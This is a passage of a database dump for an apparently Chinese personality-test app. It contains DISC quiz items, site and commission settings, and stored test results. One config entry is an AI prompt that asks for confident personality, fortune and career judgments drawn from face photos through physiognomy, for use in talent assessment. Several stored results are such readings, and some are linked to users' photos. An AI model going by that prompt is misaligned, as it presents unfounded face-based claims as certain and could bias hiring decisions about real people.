{\"text\": \"人际关系好,善于激励\", \"value\": \"I\"}, {\"text\": \"可靠稳定,团队协作\", \"value\": \"S\"}, {\"text\": \"分析能力强,注重细节\", \"value\": \"C\"}]', NULL, NULL, 6, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (117, 'disc', '在会议中,您通常扮演的角色是:', '[{\"text\": \"主导者,推动决策\", \"value\": \"D\"}, {\"text\": \"激励者,调动气氛\", \"value\": \"I\"}, {\"text\": \"调和者,平衡各方\", \"value\": \"S\"}, {\"text\": \"分析者,提供数据\", \"value\": \"C\"}]', NULL, NULL, 7, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (118, 'disc', '您最不喜欢的工作环境是:', '[{\"text\": \"缺乏挑战,进展缓慢\", \"value\": \"D\"}, {\"text\": \"被孤立,缺乏互动\", \"value\": \"I\"}, {\"text\": \"变化太快,不稳定\", \"value\": \"S\"}, {\"text\": \"混乱无序,缺乏标准\", \"value\": \"C\"}]', NULL, NULL, 8, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (119, 'disc', '做决定时,您更依赖:', '[{\"text\": \"直觉和经验\", \"value\": \"D\"}, {\"text\": \"他人的意见\", \"value\": \"I\"}, {\"text\": \"过去的成功经验\", \"value\": \"S\"}, {\"text\": \"数据和事实\", \"value\": \"C\"}]', NULL, NULL, 9, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (120, 'disc', '您的工作风格是:', '[{\"text\": \"快速高效,注重结果\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满创意\", \"value\": \"I\"}, {\"text\": \"稳定持续,一步一步\", \"value\": \"S\"}, {\"text\": \"严谨细致,追求完美\", \"value\": \"C\"}]', NULL, NULL, 10, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (121, 'disc', '遇到冲突时,您会:', '[{\"text\": \"直面冲突,解决问题\", \"value\": \"D\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"I\"}, {\"text\": \"避免冲突,保持和谐\", \"value\": \"S\"}, {\"text\": \"分析原因,找出根本\", \"value\": \"C\"}]', NULL, NULL, 11, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (122, 'disc', '您期望的领导风格是:', '[{\"text\": \"给予挑战和自主权\", \"value\": \"D\"}, {\"text\": \"认可和表扬\", \"value\": \"I\"}, {\"text\": \"稳定和支持\", \"value\": \"S\"}, {\"text\": \"明确的指导和标准\", \"value\": \"C\"}]', NULL, NULL, 12, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (123, 'disc', '处理任务时,您更注重:', '[{\"text\": \"速度和效率\", \"value\": \"D\"}, {\"text\": \"创意和新颖\", \"value\": \"I\"}, {\"text\": \"过程和协作\", \"value\": \"S\"}, {\"text\": \"质量和准确\", \"value\": \"C\"}]', NULL, NULL, 13, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (124, 'disc', '您的社交方式是:', '[{\"text\": \"目的明确,建立有价值的关系\", \"value\": \"D\"}, {\"text\": \"广泛社交,认识各种人\", \"value\": \"I\"}, {\"text\": \"深度交往,维护长期友谊\", \"value\": \"S\"}, {\"text\": \"选择性社交,志同道合\", \"value\": \"C\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (125, 'disc', '您理想的工作节奏是:', '[{\"text\": \"快节奏,充满挑战\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满活力\", \"value\": \"I\"}, {\"text\": \"稳定有序,可预测的\", \"value\": \"S\"}, {\"text\": \"有条理,按计划进行\", \"value\": \"C\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (126, 'disc', '面对变化,您的态度是:', '[{\"text\": \"主动拥抱,寻找机会\", \"value\": \"D\"}, {\"text\": \"积极适应,乐观面对\", \"value\": \"I\"}, {\"text\": \"需要时间,逐步适应\", \"value\": \"S\"}, {\"text\": \"谨慎评估,确保万无一失\", \"value\": \"C\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (127, 'disc', '您的时间管理风格是:', '[{\"text\": \"高效利用,最大化产出\", \"value\": \"D\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"I\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"S\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"C\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (128, 'disc', '激励您的是:', '[{\"text\": \"成就和控制\", \"value\": \"D\"}, {\"text\": \"认可和社交\", \"value\": \"I\"}, {\"text\": \"稳定和归属\", \"value\": \"S\"}, {\"text\": \"正确和标准\", \"value\": \"C\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (129, 'disc', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"D\"}, {\"text\": \"可能忽略,更关注整体\", \"value\": \"I\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"S\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"C\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (130, 'disc', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"D\"}, {\"text\": \"灵活运用,不拘泥于规则\", \"value\": \"I\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"S\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"C\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509); + +-- ---------------------------- +-- Table structure for mbti_system_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_config`; +CREATE TABLE `mbti_system_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版', + `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_system_config +-- ---------------------------- +INSERT INTO `mbti_system_config` VALUES (1, 'system', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"maintenanceMode\":false,\"maxTestsPerDay\":100,\"trialTestCount\":10}', '系统基础配置', 1770883998, 1772761008); +INSERT INTO `mbti_system_config` VALUES (2, 'notification', 0, '{\"emailNotification\":false,\"lowBalanceAlert\":false,\"lowBalanceThreshold\":1000,\"newEnterpriseNotify\":false}', '通知与告警配置', 1770883998, 1770884109); +INSERT INTO `mbti_system_config` VALUES (3, 'site_info', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"updatedAt\":1772761008}', '站点信息配置', 1770884090, 1772761008); +INSERT INTO `mbti_system_config` VALUES (4, 'prompts', 0, '{\"faceAnalyze\":\"人才测评综合分析表(基于正面 \\/ 左侧 45°\\/ 右侧 45° 面部照片)\\n分析前提:将照片人物视为模拟对象,基于传统相术(《冰鉴》九贵骨、《周易》三停五行、《燕翼子・相人》《骈拇子・卜相》)与现代理论(MBTI、PDP、DISC),结合面部骨相细节做差异化推演;结论明确肯定,不展示推理过程。\\n一、面相特征与性格特质关联(按部位)\\n额头:[填写形状 + 日角月角气势]。其智力超群、谋略深远,早年运势顺遂,擅长抽象学习与系统思考。\\n眼睛:[填写大小 + 神采 + 稳定度]。其思维聚焦精准,情绪管理能力强,人际风格理性且有边界感。\\n鼻子:[填写山根 + 鼻梁 + 鼻翼]。其责任感极强,事业心旺盛,金钱观务实,现实问题处理能力突出。\\n嘴巴:[填写唇形 + 厚薄 + 收放]。其表达直接有力,信守承诺,行动力迅猛,执行节奏紧凑高效。\\n下巴:[填写宽窄 + 方圆 + 厚薄]。其抗压能力卓越,承载力强,晚年运势安稳,能长期坚守目标。\\n耳朵:[填写大小 + 位置 + 贴头]。其感受能力敏锐,学习速度快,对环境变化的敏感度高,适配力强。\\n二、骨相分析(含九贵骨与人生阶段)\\n(一)骨形总评\\n五行形相:[填写金 \\/ 木 \\/ 水 \\/ 火 \\/ 土] 形,对应 [填写核心气质,如金形刚健、木形疏朗] 气质。\\n骨肉关系:[填写停匀 \\/ 骨重肉薄 \\/ 肉多掩骨],决断度 [填写高 \\/ 中 \\/ 低],现实感 [填写强 \\/ 中 \\/ 弱],抗压方式为 [填写理性攻坚 \\/ 柔性缓冲 \\/ 稳健持久]。\\n(二)九贵骨核心结论\\n颧骨与驿马骨:权力欲 [填写强 \\/ 中 \\/ 弱],掌控力 [填写强 \\/ 中 \\/ 弱],倾向 [填写开拓 \\/ 守成]。\\n将军骨与肩背:统帅力 [填写强 \\/ 中 \\/ 弱],属于 [填写冲锋型 \\/ 统筹型] 人才。\\n日月角与龙宫骨:智谋 [填写卓越 \\/ 出众 \\/ 普通],机会嗅觉 [填写敏锐 \\/ 一般],意志力坚定,耐力 [填写持久 \\/ 较强]。\\n伏犀骨与龙角骨:主见坚定度 [填写极高 \\/ 高 \\/ 中],上升冲劲 [填写强劲 \\/ 稳健 \\/ 平缓]。\\n(三)人生阶段发力重点\\n上停(额区):早年运势顺畅,发力重点为学业积累、行业入门与贵人链接。\\n中停(颧鼻):壮年运势鼎盛,发力重点为事业拓展、团队管理与资源整合。\\n下停(下颌):晚年运势安稳,发力重点为经验传承、成果固化与稳健守成。\\n(四)骨相总评建议\\n格局:[填写高 \\/ 中高 \\/ 中],具备 [填写核心格局优势,如统筹全局 \\/ 专业深耕] 潜质。\\n事业路径:优先走 [填写核心路径,如管理晋升 \\/ 专业领军 \\/ 创业开拓] 路线。\\n修性养骨建议:1. [填写具体建议,如每日静坐养神,稳固意志力];2. [填写具体建议,如规律运动强骨,提升行动力]。\\n三、现代性格模型综合判断\\n(一)MBTI 性格类型(精准匹配)\\n类型代码 \\/ 名称:[填写如 INTJ \\/ 建筑师、ESFP \\/ 表演者]\\n思维方式:[填写 2 句话,如 INTJ 擅长逻辑推演与长远规划,聚焦核心目标忽略冗余信息]。\\n决策风格:[填写 1 句话,如以理性分析为核心,优先考量目标达成与效率最优]。\\n(二)PDP 行为偏好\\n主性格:[填写老虎 \\/ 孔雀 \\/ 考拉 \\/ 猫头鹰 \\/ 变色龙]\\n辅助性格:[填写上述其一]\\n核心表现:[填写 1 句话,如老虎主性格者目标导向,变色龙辅助性格者适配环境变化]。\\n(三)DISC 沟通风格\\n主类型:[填写 D 支配型 \\/ I 影响型 \\/ S 稳健型 \\/ C 谨慎型]\\n辅助类型:[填写上述其一]\\n沟通特点:[填写 1 句话,如 D 型主风格直接果断,C 型辅助风格注重细节与逻辑]。\\n(四)核心优势(3-5 个)\\n[填写如战略规划、团队管控、细节把控、人际赋能、危机应对]\\n(五)性格概述(3-5 句话)\\n[整合传统相术与现代模型,填写核心气质,如 “核心气质为刚健稳健,兼具开拓性与守成性”]。[填写做事风格与决策模式,如 “做事雷厉风行且注重细节,决策以理性分析为基础,兼顾长远价值与现实落地”]。[填写人际影响方式,如 “人际中自带威信,既能引领团队攻坚,也能精准协调资源”]。[填写适合的工作环境与发展路径,如 “适配高目标、高挑战的工作环境,发展路径以管理晋升或专业领军为核心,中年后可尝试创业或行业赋能”]。\\n四、职业倾向与优势领域建议(4-6 条)\\n[填写职业方向,如高端管理岗]:匹配点为 [填写面相 \\/ 骨相 \\/ 性格依据,如颧骨与将军骨彰显统帅力,MBTI-J 型擅长统筹决策]。\\n[填写职业方向,如战略规划师]:匹配点为 [填写依据,如额头饱满、伏犀骨凸显,具备极强的谋略与长远眼光]。\\n[填写职业方向,如行业专家]:匹配点为 [填写依据,如猫头鹰性格特质突出,眼神专注,细节把控能力卓越]。\\n[填写职业方向,如团队负责人]:匹配点为 [填写依据,如 D 型沟通风格强势,权力欲与掌控力适配团队管理]。\\n[填写职业方向,如创业项目掌舵人]:匹配点为 [填写依据,如开拓型骨相特质,老虎主性格具备目标导向与攻坚能力]。\\n[填写职业方向,如资源整合顾问]:匹配点为 [填写依据,如变色龙辅助性格,人际适配力强,机会嗅觉敏锐]。\\n五、人际关系与团队协作风格\\n(一)人际风格\\n[填写直接 \\/ 含蓄、理性 \\/ 感性、距离感,如 “直接理性,人际中有适度距离感,注重高效沟通”]。\\n(二)团队角色\\n[填写决策者 \\/ 谋划者 \\/ 执行者 \\/ 协调者,可多选,如 “核心决策者 + 首席谋划者”]。\\n(三)提升建议\\n情绪表达:[填写具体建议,如 “高压场景下放缓语速,加入适度情感共鸣,提升团队凝聚力”]。\\n倾听能力:[填写具体建议,如 “沟通中预留 30% 时间倾听他人观点,兼顾细节与不同视角”]。\\n冲突处理:[填写具体建议,如 “理性化解冲突,以目标为核心协调分歧,避免强势决策引发抵触”]。\\n六、潜能发挥(3-4 个)\\n[填写潜能,如战略落地潜能]:发挥方式为 [填写具体行动,如 “结合自身谋略优势,制定分阶段执行计划,依托团队管控力推动落地”]。\\n[填写潜能,如危机应对潜能]:发挥方式为 [填写具体行动,如 “利用敏锐的环境感知力,提前预判风险,以稳健抗压能力制定备选方案”]。\\n[填写潜能,如人才培养潜能]:发挥方式为 [填写具体行动,如 “依托自身经验与统帅力,搭建人才梯队,通过传帮带实现团队赋能”]。\\n[填写潜能,如创新突破潜能]:发挥方式为 [填写具体行动,如 “结合开拓型骨相特质,打破固有思维,在核心领域尝试跨界创新”]。\",\"reportSummary\":\"请你根据我提供的简历信息(生日、工作经历)以及MBTI、PDP、DISC 三项性格测评结果,进行交叉验证、综合分析,不要只照搬测评标签,而是提炼出这个人的真实性格、行为模式、优势、短板、沟通风格、职业特质。\\n要求:\\n1、结合生日分析性格底色与潜在特质。\\n2、结合工作经历判断真实行为风格、抗压能力、做事习惯、人际模式。\\n3、结合 MBTI、PDP、DISC 三项测评互相印证,去伪存真,得出真实性格画像。\\n4、输出结构清晰:\\n核心性格关键词\\n真实性格深度分析\\n行为与沟通风格\\n优势亮点\\n可提升方向\\n语言专业、客观、精炼,不空洞、不玄学。\\n请根据我接下来提供的信息开始分析。\"}', '系统提示词配置(如面相分析、报告摘要等)', 1771915950, 1772766406); +INSERT INTO `mbti_system_config` VALUES (5, 'text_config', 0, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\"}', '小程序文案配置', 1772608708, 1772761008); +INSERT INTO `mbti_system_config` VALUES (6, 'poster_config', 0, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"\",\"elements\":[{\"id\":\"el_1772613206999_1\",\"type\":\"image\",\"x\":2,\"y\":0,\"w\":373,\"h\":667,\"shape\":\"square\",\"url\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260304\\/img_69a7f4bb529f73.42463703.png\",\"align\":\"left\"},{\"id\":\"el_1772613291672_2\",\"type\":\"nickname\",\"x\":154,\"y\":450,\"w\":131,\"h\":30,\"fontSize\":20,\"color\":\"rgb(255, 23, 23)\",\"bold\":false,\"fontFamily\":\"noto-sans\",\"align\":\"left\"},{\"id\":\"el_1772613311472_3\",\"type\":\"avatar\",\"x\":128,\"y\":452,\"w\":25,\"h\":25,\"shape\":\"circle\",\"align\":\"left\"},{\"id\":\"el_1772613325744_4\",\"type\":\"qrcode\",\"x\":134,\"y\":487,\"w\":110,\"h\":110,\"align\":\"left\"},{\"id\":\"el_1772615481311_1\",\"type\":\"mbti\",\"x\":35,\"y\":169,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616100719_2\",\"type\":\"pdp\",\"x\":154,\"y\":174,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616105006_3\",\"type\":\"disc\",\"x\":271,\"y\":174,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772674833835_1\",\"type\":\"text\",\"x\":22,\"y\":202,\"w\":102,\"h\":27,\"content\":\"mbti\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678555032_1\",\"type\":\"text\",\"x\":141,\"y\":208,\"w\":100,\"h\":20,\"content\":\"PDP\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678605176_2\",\"type\":\"text\",\"x\":260,\"y\":206,\"w\":99,\"h\":30,\"content\":\"DISC\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"}]}', '分销海报可视化配置', 1772613345, 1772680067); +INSERT INTO `mbti_system_config` VALUES (7, 'poster_config', 5, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260305\\/img_69a93009e76ba4.00229379.png\",\"elements\":[{\"id\":\"el_1772695569798_1\",\"type\":\"nickname\",\"x\":113,\"y\":359,\"w\":150,\"h\":36,\"fontSize\":16,\"color\":\"rgb(255, 0, 0)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772695592453_2\",\"type\":\"avatar\",\"x\":54,\"y\":333,\"w\":80,\"h\":80,\"shape\":\"circle\"},{\"id\":\"el_1772695597637_3\",\"type\":\"qrcode\",\"x\":127,\"y\":490,\"w\":120,\"h\":120},{\"id\":\"el_1772695600813_4\",\"type\":\"mbti\",\"x\":13,\"y\":153,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695603591_5\",\"type\":\"pdp\",\"x\":19,\"y\":196,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695607589_6\",\"type\":\"disc\",\"x\":18,\"y\":233,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"align\":\"center\"}]}', '分销海报可视化配置(企业)', 1772695611, 1772695611); +INSERT INTO `mbti_system_config` VALUES (8, 'distribution', 5, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true}}}', NULL, 1772697130, 1773132544); +INSERT INTO `mbti_system_config` VALUES (9, 'text_config', 5, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\",\"miniprogramName\":\"神仙团队性格测试\"}', '小程序文案配置(企业 5)', 1772700633, 1772761516); +INSERT INTO `mbti_system_config` VALUES (10, 'distribution', 0, '{\"enabled\":false,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"minWithdrawFen\":100,\"maxWithdrawFen\":0,\"requireAudit\":true,\"withdrawFee\":0,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"ratio\",\"commissionRate\":90,\"commissionAmountFen\":0,\"noPayment\":false}}}', NULL, 1773020928, 1773280490); +INSERT INTO `mbti_system_config` VALUES (11, 'distribution', 6, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true}}}', NULL, 1773021025, 1773132517); + +-- ---------------------------- +-- Table structure for mbti_system_configs +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_configs`; +CREATE TABLE `mbti_system_configs` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `configKey`(`configKey`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_test_results +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_test_results`; +CREATE TABLE `mbti_test_results` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face', + `resultData` json NULL COMMENT '测试结果(JSON格式)', + `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)', + `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是', + `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是', + `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户', + `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_testType`(`testType`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_isPaid`(`isPaid`) USING BTREE, + INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_test_results +-- ---------------------------- +INSERT INTO `mbti_test_results` VALUES (1, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFP\", \"title\": \"调停者\"}, \"overview\": \"气质安静理性,内敛而有主见,思维细腻敏感,重视自我价值与内心秩序。\", \"boneAnalysis\": \"骨骼清秀偏木水形,相对骨重肉薄,线条纤长不夸张,气质内敛克制,重思考与感受,行动节奏温和但持续。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神柔和含光,鼻梁细直,唇形自然收敛,下巴略尖,整体给人安静、专注而略带距离感。\", \"personalitySummary\": \"性格敏感理性,重视隐私与独立空间,善于思考与观察,表达含蓄但原则清晰,更偏向安静创作与深度工作环境。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005506, 1772005506, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (2, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又细腻敏感,兼具洞察力与规划力,适合深度思考与创造性工作。\", \"boneAnalysis\": \"骨相偏瘦长木形,骨肉匀称,线条柔中有直,显思维敏捷、韧性佳,重内在成长与长期规划。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁细直,嘴形柔和含蓄,整体给人沉静理性、略带距离感的气质。\", \"personalitySummary\": \"性格安静独立,思考细致,有责任感与同理心。做事追求完美与深度,习惯独立完成关键任务,对人保持礼貌克制与适度边界。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005550, 1772005550, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (3, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛专注,有谋划与审美,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不粗重,重思考与感受,行动节奏稳而不急,耐力尚佳。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁秀挺,唇形柔和,下颌偏尖,整体偏理性细腻型面相。\", \"personalitySummary\": \"内向克制,思维细腻,有同理心和理想感,做事讲逻辑与条理,重个人空间与深度连接。\"}', NULL, NULL, 0, 0, 0, NULL, 1772010093, 1772010093, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (4, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表软萌亲和,内在好奇活泼,情感细腻,善于带动气氛与连接他人,适合创造性与互动性强的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微抿显乖顺,整体给人温柔、亲近、无攻击感的印象。\", 